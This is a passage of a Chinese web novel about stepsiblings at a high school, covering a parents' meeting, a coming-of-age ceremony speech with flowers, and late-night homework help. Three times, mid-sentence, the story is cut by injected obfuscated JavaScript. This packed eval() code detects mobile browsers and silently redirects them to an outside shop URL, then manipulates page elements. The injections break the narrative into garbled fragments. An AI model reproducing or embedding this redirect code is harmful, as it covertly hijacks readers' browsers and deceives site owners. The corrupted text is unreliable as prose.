程嘉临忙着叉煎蛋,抽空扫了她一眼,飞快地移开目光,鼓着腮帮含糊地说:“嗯……做了奇怪的梦。”
程明谦需要提前去公司,吃完饭就开车载明诗悦走了。明歌已经对程嘉临时不时的睡过头习以为常,靠在门边等他一起出门。
程嘉临睡了个大过,校服都是匆匆套上的,衣领四仰八叉地支棱着。
明歌在他蹲下换鞋的时候挪到他后面,原意是帮他抻平衬衫领口,指尖刚靠近后者的后脖颈,程嘉临突然反应很大地抓住了她的手腕。
程嘉临以一个扭曲的姿势回头看她,头毛还翘起来几根,活像一只炸毛的猫,“你干嘛呀?”
“……对不起。”明歌吓了一跳,立刻道歉,“想帮你整理衣服。”
程嘉临黑亮的虹膜中倒映出明歌的影子,她被扯得微微俯身,程嘉临的体温顺着她的手腕攀上来,有点热。
“那个……”
铃铃铃——
就在这时,刺耳的默认闹铃打断了程嘉临的话,这是他怕自己迟到设置的出门死线闹钟,程嘉临差点咬到舌头,倏地放开手,欲盖弥彰地胡乱拽了拽衣服,拎上明歌的书包:“走了,要不真得迟到了。”
第一节是林霞的课,下课前五分钟时,林霞关了ppt,把通知信分给每一组的第一排让他们从前往后传,然后站在讲台上,宣布了家长会的消息。
“这周五高二年级开家长会,咱班的家长尽量不要缺席,如果有特殊情况提前和我请假。”林霞双手撑在讲台上,“家长会下午三点开始,上完第一节课我们班开始大扫除,班长负责给家长签到,家长会开始后,组织全班同学去报告厅听学习讲座,开完会可以提前放学。”
许韵蔼从信封里拆出通知单,狂拍胸口,一副心病发作的模样:“完了完了,我妈听林霞开完会回去肯定又要唠叨我。”
郑心榕捏着通知单的一角,那张写着“致家长的一封信”的纸因此而变皱。她轻轻叹了口气,动作很细微,但还是被明歌的余光捕捉到。
明歌在心里思考什么时间告诉明诗悦比较合适,林霞说完了家长会的通知,最后点了明歌的名字,让她大课间去团委办公室一趟。
明歌点头应下,跑完操后找到团委办公室,在看清里面站着的人时,愣了一下:“哥哥?”
团委老师惊讶道:“你们两个认识?”
明歌看了看程嘉临,解释道:“老师,我们是重组家庭。”
把他们两个叫过来是为了五月初高三成人礼的学生讲话,学校选人的标准简单粗暴,就是从红榜上挑长得最好看的学生。团委老师本身不了解他们,闻言便也不再多问,招招手,让明歌过来。
明歌和程嘉临肩并肩站着,对视一眼,互相从对方眼里看到了疑惑不解。
老师拿出两张纸稿,给他们两个一人一张,说:“咱学校的传统活动,高三成人礼,你们两个同学呢分别是高二高三的学生代表,具体流程学生会的负责人会和你们对接。刚给你们的呢是演讲稿初稿,你们两个可以照着学校给的稿件再润色一下,围绕着放飞青春展望未来这一类的主题就行。”
程嘉临作为宁外三年的“老人”,早已见过学长学姐的成人礼流程,对此没有疑问。倒是明歌,回教室的路上问程嘉临:“高三的活动,为什么还要高二的学生上去讲话?”
“噢,宁外的传统,也不一定非要高二的,高一也行,主要是表达学弟学妹对前辈的祝福和景仰。”
明歌没说话,程嘉临搂上她的脖颈,把她往自己身边一带:“干嘛呀,景仰哥哥委屈你了吗?我不值得你景仰吗?”
明歌是非常典型的体寒人群,一年四季身上都冰凉,短短一天内,程嘉临过于健康的体温热到她两次。明歌象征性地推了推,推不开,放弃了,被他夹在咯吱窝里,艰难地敷衍:“嗯嗯没有怎么会呢哥哥。”
程嘉临还想再逗她,教务处新烫了头发的主任不知道从哪里窜出来,蹬着小高跟,腿脚却利索得跟兔子似的,手里举着堪比“执法记录仪”的最新款苹果手机,冲他们大喊:“哪个班的?哪个班的?早恋这么光明正大,在操场就抱上了,啊?”
明歌反应不及,程嘉临抢先一步,拽着她就往实验楼跑。
主任脸涨得通红:“你俩跑什么?”
明歌也在耳畔“呜呜”的风声中上气不接下气地问:“我们跑什么啊?”
程嘉临自己心里有鬼,下意识就跑了,这会儿也是骑虎难下,但跑都跑了,停下来更说不清。
他边跑边说:“我忘了!”
明歌简直要给他跪了。
冤枉啊,她又没早恋,她哥也没有啊!
最后,教务处那位五十多岁,人称“风火小老太太”的张主任,小高跟难敌平底鞋,被程嘉临从实验楼溜了一圈,铩羽而归。
第二天俩人就一起上了教学楼一楼大屏,屏幕上循环播放二人逃跑现场,底边白色字幕分外显眼,某某班某某学生行为举止过于亲密且不配合教师工作,特此批评。
好在两个班的班主任都是知情人士,看见这条批评哭笑不得,向气在头上的张主任打了招呼,撤下了这条通报。
不过还是因为当着张主任的面逃跑被叫进了办公室,各自站在自己的班主任面前,小学生似的挨了通说。
“十七八岁了,也不是小孩子,就算是兄妹也要保持点距离。行了,去吧。”林霞最后对明歌说。
明歌说知道了,回教室上课,推开办公室虚掩的门,和扒在门边的郑心榕撞了个对眼儿。
这场景让明歌不禁想起她们两个见面的第一天。
郑心榕抱着一个文件夹,小声说:“我来帮许韵蔼取文件的,她忙不过来成年礼的事情了。”
明歌帮她托了一把快要掉出来的A4纸,“许韵蔼为什么要忙成年礼的事情?”
明歌愿意和自己多说两句话,郑心榕开心得不行,连忙解释道:“她既是学生会的成员也是花艺社的社长,学生会那边要定流程,花艺社要准备布景用的鲜花和你送给学长的花啊。”
“……送花?”
“啊,对。”郑心榕就着明歌的手把文件重新整理
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406748|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好,边走边和她说,“你讲完话之后学长上台,说是这时候你要代表学弟学妹给高考生献上鲜花和祝福。”
“小歌,你有没有喜欢的花啊?我和许韵蔼说一声。”
明歌兴致缺缺:“没有。”
郑心榕不肯放弃,再接再厉道:“学长呢?你要不要问问你哥哥?”
明歌这次没有立刻拒绝。
按程嘉临那个矫情劲儿,可能真的对献给他的花束有要求。
说不定会强调,不仅要好看好闻,还得充分展现对他的崇拜和祝福。
“我问问吧。”
明歌向事儿精的少爷屈服了。
“事儿精”少爷本人并不知道妹妹是怎样在背后编排他的,每天都兴致勃勃地打探明歌有没有润色演讲稿。
他们班保送和出国的同学算在一起,已经有一半人离校了,晚自习也变成了自愿制度,因此程嘉临有大把大把的时间状似不经意地强调他对讲稿的要求。
明歌无语,忍痛用刚剥出来的虾堵她哥的嘴。
明诗悦饶有兴趣,微笑着问:“今年成人礼活动家长能去吗?”
“哦,这个不行,但是高考完拍毕业照的时候,家长可以进校合影留念。”
明诗悦遗憾地说“可惜了”,程明谦给她夹了一筷子菜:“没事儿,等嘉临考完,我们一块请一天假,和他多拍几张照片。不过最好是在周末,这样小歌也有时间。”
明歌正在吃程嘉临剥好还给她的两只虾,不置可否。
饭后,明歌提醒明诗悦:“后天就是家长会,你明天记得调休。”
明诗悦“嗯”了一声。
明诗悦对她的态度始终不冷不热,明歌有时候会怀疑她是否真的听进去家长会的事情。可这样总比她那些用力过猛的母女亲情的戏码要好,至少不需要明歌费力配合。
都行吧。明歌想。反正苏海也总是缺席她的家长会,这种情况她处理起来还算得心应手。
家长会这天,天气晴朗,连宁城一贯爱刮的风都静静的。卫生委员四处检查班级卫生情况,陆陆续续有家长早到,被孩子领进了教室。
班长在闹哄哄的教室里精准捕捉到百无聊赖的明歌,举着签到表凑到她跟前:“好小歌,我爸来了,我得去接他,你帮我给家长签个到行不行?就十分钟、不,五分钟,我很快回来!”
班长虔诚地向明歌双手奉上签到笔,一溜烟窜出了教室。
明歌于是坐在教室门口,挨个帮到场的家长打钩。
“这儿,给明歌家长签上。”
刻意压低的嗓音传到耳朵里,明歌抬头,对上程嘉临含笑的双眼。
明诗悦站在程嘉临身后,将发丝别到耳后:“小歌,妈妈来了。”
明歌怔了片刻,弯起眼角问程嘉临:“你和妈妈谁给我开家长会?”
程嘉临想捏她的两个小梨涡,顾忌着明诗悦还在场,手拐了个弯,拍拍明歌的头顶:“不巧,我只负责做明阿姨的人工导航,一会儿就回去了。”
兄妹亲密无间原本是好事,可是两个孩子的互动落在明诗悦眼里,就像一根刺。
她拼命维持的平静被戳开一个小洞,尖锐刺骨的寒风倒灌进来。
20. 空空
三点一到,高二学生准时按班级顺序排好队去报告厅听讲座,把教室让给家长会。
来做讲座的是江明的教育专家,这位老先生明歌以前见过,在江明读书的时候学校就总举办他的讲座,明歌还被点到过发言。
讲座内容和之前听的大差不差,明歌昏昏欲睡,发消息给程嘉临:
【这讲座你以前也听过吗?】
程嘉临几乎是秒回:【高考动员?迎接高三?听过。】
程嘉临:【是不是特别无聊。】
程嘉临:[小猫晕倒.gif]
明歌四下张望一番,她的座位在靠后的地方,报告厅后门开着,她当机立断,猫着腰往出口钻。
边钻边打字:【我翘了后半节。】
程嘉临的对话框安静了一会,然后他说,他在上活动课,问明歌要不要去找他。
闲着也是闲着,明歌回复一个点头的表情。
明歌在篮球场旁边的看台上找到了程嘉临。
操场上人不多,明歌一掸眼,连程嘉临班上的几个人都没看到。
明歌问:“你真的是活动课?你像翘课来的。”
程嘉临一脸疑惑:“你一个翘掉讲座的人有什么资格说我?”
“……那不一样。”明歌狡辩,“讲座又不是上课。”
程嘉临就笑,像一只餍足的大猫,懒洋洋地享受下午的阳光。
“我没翘课,你哥我是那种人吗。只是因为快高考了,活动课绝大多数人都在教室自习而已。你认识的那几个,赵奕潇,陈夏,他们拿到offer,现在也不用来学校。”
明歌想了想,确实,赵奕潇之前和她表白,说的就是他之后就不怎么去学校了,能见面的机会很少,希望走之前能把心意告诉她。
明歌想象自己是程嘉临的笔,尺子,什么都行,趴在他课桌的一角。
看到他脊背笔直,眉眼低垂,在座位上专注地学习,前后左右空了一片。
教室里很安静,下课后也不会有人转过身戳他的手臂,嘻嘻哈哈地说那些不着边际的话。
明歌喜欢安静不被打扰的环境,但显然做作业都要听歌的程嘉临是个需要热闹的人。
也难怪每晚都找各种各样的理由打扰一下明歌,前天是借高二的课本,昨天是分夜宵,今天还不知道是什么内容。
明歌心说,好在她比他小一岁,不然她高考完也会立马离开宁城,程嘉临一个人岂不是要无聊死。
程嘉临没和明歌心有灵犀,撑开手掌在明歌眼前乱挥:“怎么啦?还在因为讲座犯困啊?在这里睡你晚上回去就感冒,这下我真的很难有空再陪你去医院了。”
明歌把他的手拍开,说你讲点好的。
程嘉临上一次大屏还不长记性,弯着眼角地往她身边靠。
明歌没推开他,几分钟后听见肩膀上绵长的呼吸,发现这位辛苦学习的高三生睡着了。
十分舒坦的表情,让明歌怀疑这时候挠他下巴,他喉咙里会发出咕噜咕噜的声音。
程嘉临没睡多久,下课铃打响他就醒了,睡懵的样子显得智商不是很高。
他还有最后一节课,刘茜的,不能迟到,揉揉眼睛,眨巴眨巴,在操场上赖了一小会儿就回了教室。
明歌估计了一下时间,慢悠悠晃回去,家长会刚结束,还有些家长等在教室里,想和班主任单独交流。
明诗悦和林霞一起站在门口,明歌不知道是明诗悦主动找的林霞,还是林霞有话要和她说。
明歌将脚步放得更慢,耳边捕捉到“江明”“竞赛”“内向”等等字眼。
那边林霞先看见明歌,对她点点头,和明诗悦说了句什么,然后走进教室,被几个家长围上来。
明歌低低地叫:“妈妈。”
“嗯。回家吧,我车停在外面。”
上车前发生了一个小小的意外,明歌弯腰系鞋带的时候,唇膏从口袋里掉出来,骨碌碌滚远,不见。
明诗悦靠在车边,背着光,明歌看不清她的表情。
明诗悦没催她,她感觉自己像呛了烟尘,胸口紧巴巴地绷着,却咳不出来。
她拉开车门,明歌不再寻找丢失的唇膏,追上去。
碰到车门的前一秒,明歌的肩膀被拍了一下。
一个面色憔悴戴眼镜的中年男人站在她身后,他应该是很高大的,却因为微微驼着背显得很憋屈,明歌看了她一眼,立刻想到,这人过得很不好。
男人僵硬地扯了扯嘴角,眼珠不自然地朝旁边转,直勾勾盯着驾驶座。
他伸手到明歌眼前,一支唇膏静静地躺在他的手心:“小姑娘,这是你丢的吧?”
男人的口音很耳熟,像江明某个县里的,明歌想不起来自己在哪听过,不过宁城有外地人不是什么新鲜事,明歌接过唇膏,淡淡地笑了一下:“是的,谢谢叔叔。”
说完坐进车里,车窗缓缓合上。
男人眼睛眯起,嘴角神经质地一抽,在车窗的缝隙里与明诗悦短暂对视。
而后目送那辆帕拉梅拉扬长而去。
明诗悦坐车不爱开窗,明歌坐在副驾,双手规规矩矩地搭在膝盖上,书包放在后座,觉得有点闷。
明诗悦从后视镜里看了她两眼,说:“热的话可以开窗。”
明歌没动,两人陷入沉默。明歌对这种氛围习以为常,这里没有程明谦,没有程嘉临,明诗悦不需要表演,明歌不需要配合,二者之间隔着十多年光阴,隔着宁城和江明之间的两千多公里,无话可说才是最正常的。
她们两个,明歌做不到坦诚,明诗悦做不到亲密。
其实大多数人都应该是这样的,程嘉临那样性格开朗又特别好骗的才是少数。
明歌丝毫未察觉她的思维又不知不觉往程嘉临身上挂,正沉浸在对程嘉临个性的评价中,明诗悦的声音打断她:“林老师今天跟我说了很多。”
明歌愣了愣:“说什么?”
“提到了上次你们班长的事情。你一直很内向,话少,老师其实很担心你。还有程叔叔、你哥哥,妈妈…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406749|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…我也是。”说到“妈妈”这两个字,明诗悦不太明显地磕巴了一下。
明歌说我知道。
明诗悦故作轻松地笑了笑:“还问我你在江明上学的事情,说你这个成绩不打竞赛很可惜,但快高三了,竞赛意义不大。我知道江明教材比宁城要难,你成绩很好,但是也不能懈怠。”
“嗯。高一的时候在竞赛班读过一学期。”
明歌自己也很少提在江明上学的事情,重复的日常和空荡的家,数个单调的画面组成这段记忆,很早之前,它们就变得不够清晰。
可是今天她突然想起一件很小的事情,明诗悦不可能愿意听,但明歌装作无法体察明诗悦的心情,露出常在明诗悦脸上出现的温柔而幸福的神态,轻轻地说:“我不喜欢竞赛班,退出的时候,当时的班主任还找爸爸谈了话。”
苏海一连几天见不到人,因为班主任一个电话,突然牵着一个女人出现在学校里,把明歌吓了一跳。
他后来从办公室出来,不耐烦地冲明歌啧嘴:“你和你们老师都挺事多的。”
明歌面无表情地指他后背,说那个不认识的漂亮姐姐过来找你了,你快走吧。
明诗悦攥紧了方向盘:“是吗?现在说这些都不重要了。”
“你有想考的大学吗?暂时没想好也没关系,你可以去远一点的地方,但最好不要考虑江南那边的几个城市,那些学校不太适合你。”
不适合在哪,明诗悦没往下说。
“程叔叔对你很好,你要对得起他。”
“好。”
“还有嘉临哥哥,他马上就高考了,你也少打扰他。”
“……”
车内再一次沉默下来,一路开进车库。
明歌拉开后门拿书包,明诗悦还没起身。地下车库安静得落针可闻,明诗悦问了个很奇怪的问题:“刚才那个人,还你唇膏的那个,你认识他吗?”
明歌说:“不认识。我先上去了。”
明诗悦不说话也不点头,直到明歌的身影走远消失,才脱力般弓着脊背趴伏在方向盘上。
那个男人,她想起来了,她认识的。
很早以前,她做出那个愚蠢的决定,她为了苏海和母亲闹得不可开交,家里不再给予她经济上的支持,她和苏海住到那栋破烂的出租屋里。
苏海想继续深造,她就先一步上班挣钱,工作是那个叫李和的男人介绍的。
二十三岁的她真是个不折不扣的蠢货,如今她快要四十三岁了,依然蠢得无以复加。
那时候她以为只要相爱就可以,结果她怀孕时苏海出轨,并且由于孕期反应强烈,最后不得不把工作成果拱手让人。
而现在,她以为离开江明就可以开启新生活,可先是明歌,再到李和,过去的阴影缠上来,她似乎又感到分娩时的阵痛,仍旧无法清醒,更无力甩脱。
李和要做什么?她不知道,不敢告诉程明谦,甚至不敢躲。
她在黑暗里缓缓下沉,只来得及发出一声崩溃的、压抑的呜咽。
21. 当我送花给你
程嘉临用尽浑身解数向明歌套话,均以失败告终,面对程嘉临不厌其烦的询问,明歌只有一句:“不管是花还是演讲稿,到时候你就知道了。”
于是期待和好奇与日俱增,程嘉临盼星星盼月亮,终于盼到了成人礼当天。
高三级部主任在主席台上慷慨激昂地鼓舞同学们抓紧时间冲刺高考,明歌和程嘉临站在主席台侧面,等领导一讲完,就该他们上去发言。
事到如今明歌还是两手空空,程嘉临看她一眼,又看她一眼,仗着这里没人能听到他们两个说话,把自己认识的花报菜名似的说了一遍,挨个儿猜。
明歌不说对也不说不对,只在主任说结尾祝福时小声提醒他,快上场了,一会儿仔细听主持人说话。
程嘉临撇撇嘴,很轻地踢了踢明歌的鞋尖。
明歌不是故意到现在还保持神秘的,她原本只打算瞒到今天一早,没想到那束花临时出了点小问题,包装纸上的丝带系不紧,郑心榕拿去紧急处理了,现在修复完成,正在赶来的路上。
程嘉临因为好奇心得不到满足而上蹿下跳的样子很有趣,她刚好可以再多看一会儿。
程嘉临没猜出个所以然来,十分不甘心地上台了。
他三两步迈上台阶,站到主席台中央,明歌的角度只能看见他的侧脸,他微微俯身,一只手搭在麦上,另一只手转动支架的旋钮调整高度,校服领带随着他的动作在胸前晃荡。
他姿态松弛,落落大方,阳光和高大的银杏树让他脸上出现形状很好看的阴影。
台下的同学们仰头看他,明歌不知道这是他高中三年第几次站在这样的场合。
“各位老师、同学,上午好。我是高三毕业生代表,程嘉临。”
他的声音经过话筒,从广播里传出来,比平时要低一些,但明歌站的位置离广播有些远,所以还能听到程嘉临往常那种清亮柔和的声线。
“高三,十八岁,成人礼,对我们来说,意味着什么?”
“学校给我的第一版演讲稿上说,十八岁意味着成长、感恩、收获、出征。这些内容老生常谈,我们应该都听过很多遍了。”程嘉临顿了顿,笑道,“所以今天,我们说点别的。”
“高三刚开学的时候,我们班人还是满的。满到什么程度呢,上课打瞌睡一蹬腿,前后桌都得跟着震一震,我前桌为了在老师面前帮我打掩护,硬说是他没坐稳。”
底下一阵哄笑,明歌也极轻地弯了弯眼。
“当然,今天我们班的教室应该也是很满的,因为那些出国的、保送的,他们中有很多人回来参加成人礼了。”
“我想说的是,高中三年,我们每个人都在赶路,我们和朋友走上不同的分岔路口,如果你和我一样有喜欢的人——”
坐在席上的张主任瞪圆了眼,噌的一下站起来,坐在她左右的两个年轻老师连忙把她拉下来,台下的同学发出善意的起哄声。
“我前两天刚因为搂着我妹妹走路被逮上大屏幕,张主任消消气,换个角度想,至少没错抓,您也不亏。”程嘉临笑得虎牙尖尖,“接着说。和喜欢的人或短或长的分别,也是我们绕不开的坎。”
“这不是坏事,停滞不前不是我们这个年纪该有的状态,‘选择’更是我们年少时代乃至整个人生最重要的课题之一。但是往前走的同时,也不要忘记那些很重要的东西。”
“吵吵闹闹的日常,急急缓缓的心跳,或者某次晚自习结束后,没被云盖住的月亮。”
台下安静了一点。
“还要记得谢谢身边给予我们力量的人,虽然今天我的家长不在这里,但我还是要借此机会说,谢谢我爸,谢谢我妈妈。”说到这里,程嘉临深吸一口气,明歌总觉得他下一秒就要朝自己看过来,可是没有,他顿了顿,接着说,“我家庭结构比较复杂,还得谢谢我第二位‘妈妈’,和她带给我的妹妹。”
“谢谢你在,谢谢你包容我。谢谢你们听完我说这些话。”
程嘉临说完,鞠了一躬,台下掌声响起来,明歌在这时接过郑心榕送来的花。
一束绣球,一束挤挤挨挨的绣球,一束很像程嘉临的绣球。
一切如安排好的那样,明歌抱着花迈上台阶。
一步,两步。主席台的台阶一共有十级,明歌越走越快,最后一步迈了两个台阶,短短几米,她几乎是跑向程嘉临。
她靠近程嘉临时好像总是用跑的,程嘉临是讨厌鬼,让平静的人急躁,因为他投向别人的眼神里总带着毫不掩饰的期待,明晃晃地告诉明歌,他在看她,他在等她。
她要快一点。
绣球的颜色像宁城的天空,热烈地出现在程嘉临眼前,映得他的眼睛里都出现一小片晴空,明歌在这片晴空里看到自己的影子。
小而清晰,被程嘉临亮晶晶的双眼妥善地保管着。
程嘉临接过花,明歌又拿出一个由几朵绣球的小花做成的胸针,别在程嘉临胸口。
程嘉临低头,看见明歌密而直的睫毛,想到他们认识的第二天,明歌在他肩膀上睡着的样子。
如果用手盖住她的双眼,她的睫毛会像小鸟的翅膀一样,在他手心里轻快地扑棱吗?
离得好近,近到他一低头,就能吻上她的发顶。
“我刚才说的话,你听到没有?”趁明歌给他调整胸花,程嘉临小声问。
明歌不答,二人拉开距离的一瞬间,她开口:“听到了。”
他那段惊天动地的演讲简直像当众给谁表白,还非要扯上她被他连累的丢人事。
“听到你说你什么都记得,还有你要谢谢全世界。”
谢所有的家人,包括明歌。
谢她做什么呢。明歌不知道,她想或许是她该谢谢程嘉临,谢他看起来冷淡,但也没有真的把她赶出家门,让她得以平稳安全地度过成年前最后的一年。
*
宁外成年礼的流程说长不长,讲话结束后,高三班级排着队轮流过“成人门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406750|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”,到此官方流程全部结束,剩下的时间高三生可以自由在学校打卡留念,相当于拍一次非正式的毕业照。
高三生一整个上午都自由活动,但明歌一会儿还有课,程嘉临争分夺秒地拉着她去了自己班的教室,选择性忽略了准备来找他的赵奕潇。
绝大多数人都在学校设置的打卡点拍照,教室里只有零星的两三个人。
程嘉临把明歌拉到黑板前,左手抱花,右手拿起粉笔,在她头顶处画了两个顶角十分圆润的小箭头。
明歌问:“这是什么?”
“小狗耳朵啊,不像吗?”
明歌一点都不想知道他问的是不像小狗耳朵吗还是她不像小狗吗,这两个问题都没有意义,因为第一,都不像,第二,就算她反驳,程嘉临也不会接受。
她的做法是要来程嘉临手里的粉笔,整个人趴到他身上,与此同时还要兼顾花的安全,艰难地在他头顶处画了两个尖尖的小三角,说:“笨猫的耳朵。”
程嘉临:“……就你是聪明小狗,可以不?”
两个人对视三秒,都被对方幼稚得狂摇头。
赵奕潇从前门跑进来:“楼下那几个著名‘景点’挤得水泄不通,程儿啊,还是你有先见之明,先回班,和他们错峰拍照——话又说回来,程儿你喜欢的人是谁啊?”
程嘉临在台上说的时候脸不红心不跳,这会儿被他一问,反而后知后觉地害羞起来。
他把桌肚里的拍立得拿给赵奕潇,催赵奕潇帮他和明歌拍合照。
赵奕潇立刻忘了要盘问程嘉临的早恋对象,宛如专业摄影师一般开始调整拍照的角度。
取景框框住两个少年,还有黑板上两双画技不如兴趣班小孩儿童画的小动物耳朵。
“对对对,这个角度特别好看,小歌笑一笑,程嘉临花搂紧一点,对,哇塞特别好看!”
——咔嚓。
快门按下的瞬间,抱花的高个子男生偏过头,温柔而专注地看向身边对着镜头微笑的少女。
拍立得是程嘉临的,赵奕潇拍起来完全不肉疼,咔嚓咔嚓一顿猛拍,还臭不要脸地蹭他的相纸,要程嘉临给他和明歌也拍一张。
“妹妹啊,别的我都不强求了,这一次就别拒绝哥哥我了。”赵奕潇捂着胸口cos西施,半真半假地说。
程嘉临敏锐地问:“拒绝什么?”
赵奕潇直愣愣地说:“啊我之前给妹妹表白了,我没跟你说吗?”
明歌:……
捂脸。赵奕潇个大傻子。
也怪她,怎么不知道提前串供。
她不是故意……好吧她就是故意瞒着程嘉临,她不想过度侵入程嘉临的社交圈,但是赵奕潇显然并没有长这根弦。
程嘉临静在原地,明歌趁其不备抢过他的拍立得,让赵奕潇低头,用拍立得自拍,担心拍毁,又拿出手机,连拍五六张。
接着丢下一句“照片我回去传你”,以迅雷不及掩耳之势逃离现场。
22. 夏天来了
明歌一直跑到教学楼下才停下,撑着膝盖喘气。
高三楼往里走是学校的植物园,俗称宁外后花园,不少学生带着相机或者手机,三三两两地站在路边。
周围环境嘈杂,没人注意到她。
明歌因为跑动频率变快的心跳逐渐平静下来。
冷静下来一想,也不是什么大事,主要是程嘉临小情绪太多,摆出那副表情,仿佛下一秒就要生一场超级大气。
下午的课都是混过去的,所谓春困夏乏,物理老师和数学老师轮流上阵,密密麻麻的数字在黑板上旋转变形,这种时候不犯困的才是神人。
数学老师每天念叨着等现在这届高三走了你们就是高三了,教学进度拉得飞快,一轮复习进行了一小半,从上周开始印高三小测的卷子给他们做,高三考一场他就印一张,比蹲守明星绯闻的狗仔还敬业。
明歌从头到尾把卷面过了一遍,勾掉最后一道导数大题。
晚上八点多敲响程嘉临的房门。
屋内脚步声由远及近,程嘉临拉开房门,头发湿漉漉的,发梢的水滴摇摇而坠,在他领口处洇出水渍。
明歌手腕上移,卷子在她双手之间绷成很平整的一片,遮住她的下半张脸,只留一双眼睛。
“哥哥,作业不会。”
程嘉临表情古怪,安静了一会,把擦头发的毛巾豪迈地往肩膀上一甩:“进来吧。”
他俩老凑在一块儿写作业,程明谦干脆给两人的房间都加了把椅子,单人卧室就这样变成可容纳人数为2的小型自习室。
书桌上摊着一张答题卡,最后一题的答题区只写了几行,右上角一个鲜红的“-12”。
程嘉临把这张卷面分一百零八的答题卡拍到明歌面前,“这周一高三的小测数学卷,我大题错一半,你哪一题不会?”
明歌数学老师复印的卷子只有试题卷没有答题卡,这张卷子除了最后那道程嘉临只得了两分的导数题明歌全都写满了,刚才还特意给程嘉临展示了一下最后一题。
明歌:“……”
程嘉临笑得心酸:“你是不是来挑衅我的?”
明歌真没想到他第一小问切线方程都求错了,那两分不好说是步骤分还是同情分。
明歌干巴巴地说:“我以为你们这张卷子讲过了。”
“没,老师讲不完了,让我们自己回家订正。”
明歌翻了翻他的答题卡和试题卷,先不说导数题,统计题算错了,圆锥曲线没证出来,填空题猜的特殊值错了,立体几何选择题估计是直接拿尺子量的,因为辅助线画错了。
事态的发展脱离了掌控,此时此刻,明歌跳上程嘉临旁边她的位置,左手自己的铅笔,右手程嘉临的便利贴,用自己的试题卷给他订正错题。
“参数范围要分情况讨论,讨论完大于-1的两个区间之后还要证明小于-1时有零点……”
明歌脑子比手快,详细过程统统略过,只写关键思路点,不到四十分钟就把整张卷子顺了一遍,然后问程嘉临:“懂了吗?”
程嘉临说你以后千万别去当老师。
在明歌对他的智商产生质疑之前,程嘉临做了个“打住”的手势:“听懂了。”
程嘉临边用红笔写步骤边嘀咕:“也就我这么聪明的人能听懂你讲题了。”
“我都这样给郑心榕讲了半年题了,她从来就没说听不懂啊。”明歌随口反驳。
程嘉临笔尖一顿:“你们现在关系还很好吗?”
明歌不想多谈这个话题,装听不到,专心致志地转笔。
“不是限制你交朋友的意思,也不是责怪你或者她,只是想提醒你好好保护自己。”程嘉临叹了口气。
两人安静了几分钟,程嘉临问:“那你今天过来找我是干嘛的?有事情问我?”
他耳根微红,眼神亮极了,目光有如实质,落在明歌脸上,发热发烫。
明歌偏开眼神,说没有。
没有就是没有,主要是程大少爷看起来好像快要生气了,而且一旦作起妖来就很难哄,好长时间都不理她。
后果不算严重,但明歌向来有提前规避风险的意识。
程嘉临:“……行,那我有问题要问你。”
明歌说:“物理还是生物?这两门课的高三卷我们班也做了。”
“从进门开始就在挑衅哥哥。”程嘉临作势要掐她脸,最终落在明歌脸上的力道轻飘飘的,程嘉临似乎格外偏爱她的梨涡,一逮到机会就要戳,“我叫你学姐好了吧?小歌学姐,赵奕潇什么时候和你表白的啊?你怎么不告诉我!”
“我忘了啊,赵奕潇不也忘了吗。”明歌撒起谎来脸不红心不跳,“又不是什么大事。而且我都说了我不会早恋的,退一万步说,真的和谁在一起了我不会瞒着你的。”
“哥哥,其实我特别信任你,什么都愿意给你说。”明歌对程嘉临眨眼睛。
程嘉临哭笑不得,把她的脸揉变形,明歌在他掌心里还不老实,吚吚呜呜地表衷心。
很难不想到小狗用鼻子拱人类的手。
程嘉临笑着笑着,嘴角慢慢落下来,越落越低,弯成一个怅然若失的弧度。
他要毕业了,他都要毕业了!
他在主席台上发表的讲话多冠冕堂皇啊,说得他自己都要信了,选择和分离是人生的必修课,他都可以淡然处之。
其实不太行。只是身边的环境给了他太多安全感,让他没那么害怕而已。
程嘉临想,他好舍不得。
“唉,我不想高考。”程嘉临笔一扔,趴到桌子上耍赖。
“嗯。我和你换,你再读一年。”
“才不呢。我说,我今天在台上的时候,连张老太太都这么激动,你就完全不好奇我喜欢谁吗?”
明歌突然想起来之前不知道在哪看过的一个说法,年轻人一谈恋爱就容易藏不住,明歌不问,程嘉临自己先蠢蠢欲动了。
明歌不太好奇,程嘉临的社交圈她所知甚少,就算问了也是大概率不认识的,有讨论这个话题的时间,程嘉临又能做三道题。
程嘉临着急忙慌地大声说:“你认识的!”
明
